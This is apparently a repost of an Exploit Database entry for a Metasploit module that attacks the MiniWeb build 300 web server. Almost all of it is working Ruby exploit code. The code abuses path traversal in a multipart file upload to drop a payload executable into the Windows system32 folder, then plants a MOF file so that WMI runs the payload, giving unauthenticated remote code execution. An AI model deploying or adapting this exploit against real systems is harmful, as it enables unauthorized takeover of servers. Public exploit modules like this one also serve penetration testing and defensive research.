MiniWeb 300 – Arbitrary File Upload (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2013-08-15
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/27607/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  HttpFingerprint = { :pattern => [ /MiniWeb/ ] }
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Exploit::FileDropper
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "MiniWeb (Build 300) Arbitrary File Upload",
  'Description'=> %q{
  This module exploits a vulnerability in MiniWeb HTTP server (build 300).
  The software contains a file upload vulnerability that allows an
  unauthenticated remote attacker to write arbitrary files to the file system.
  
  Code execution can be achieved by first uploading the payload to the remote
  machine as an exe file, and then upload another mof file, which enables
  WMI (Management Instrumentation service) to execute the uploaded payload.
  Please note that this module currently only works for Windows before Vista.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'AkaStep', # Initial discovery
  'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
  ],
  'References' =>
  [
  ['OSVDB', '92198'],
  ['OSVDB', '92200'],
  ['URL', 'http://dl.packetstormsecurity.net/1304-exploits/miniweb-shelltraversal.txt']
  ],
  'Payload'=>
  {
  'BadChars' => "\x00",
  },
  'Platform' => 'win',
  'Targets'=>
  [
  # Tested on MiniWeb build 300, built on Feb 28 2013
  # - Windows XP SP3 (EN)
  ['MiniWeb build 300 on Windows (Before Vista)', {}]
  ],
  'Privileged' => true,
  'DisclosureDate' => "Apr 9 2013",
  'DefaultTarget'=> 0))
  
  register_options([
  Opt::RPORT(8000),
  OptInt.new('DEPTH', [true, 'Traversal depth', 10])
  ], self.class)
  
  end
  
  def peer
  "#{rhost}:#{rport}"
  end
  
  def check
  
  begin
  uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
  res = send_request_cgi({
  'method'=> 'GET',
  'uri' => uri
  })
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
  fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
  end
  
  if !res or res.headers['Server'].empty?
  return Exploit::CheckCode::Unknown
  elsif res.headers['Server'] =~ /^MiniWeb$/
  return Exploit::CheckCode::Detected
  end
  
  return Exploit::CheckCode::Unknown
  
  end
  
  def upload(filename, filedata)
  
  print_status("#{peer} - Trying to upload '#{::File.basename(filename)}'")
  uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
  depth = "../" * (datastore['DEPTH'] + rand(10))
  
  boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
  post_data= "--#{boundary}\r\n"
  post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n"
  post_data << "Content-Type: application/octet-stream\r\n"
  post_data << "\r\n#{filedata}\r\n"
  post_data << "--#{boundary}\r\n"
  
  begin
  res = send_request_cgi({
  'method'=> 'POST',
  'uri' => uri,
  'ctype' => "multipart/form-data; boundary=#{boundary}",
  'data'=> post_data
  })
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
  fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
  end
  
  return res
  
  end
  
  def exploit
  fname = "#{rand_text_alpha(rand(10)+5)}"
  
  # upload exe
  exe_name = "WINDOWS/system32/#{fname}.exe"
  exe = generate_payload_exe
  print_status("#{peer} - Sending executable (#{exe.length.to_s} bytes)")
  upload(exe_name, exe)
  
  # upload mof
  mof_name = "WINDOWS/system32/wbem/mof/#{fname}.mof"
  mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
  print_status("#{peer} - Sending MOF (#{mof.length.to_s} bytes)")
  upload(mof_name, mof)
  
  # list files to clean up
  register_file_for_cleanup("#{::File.basename(exe_name)}")
  register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
  end
  
  end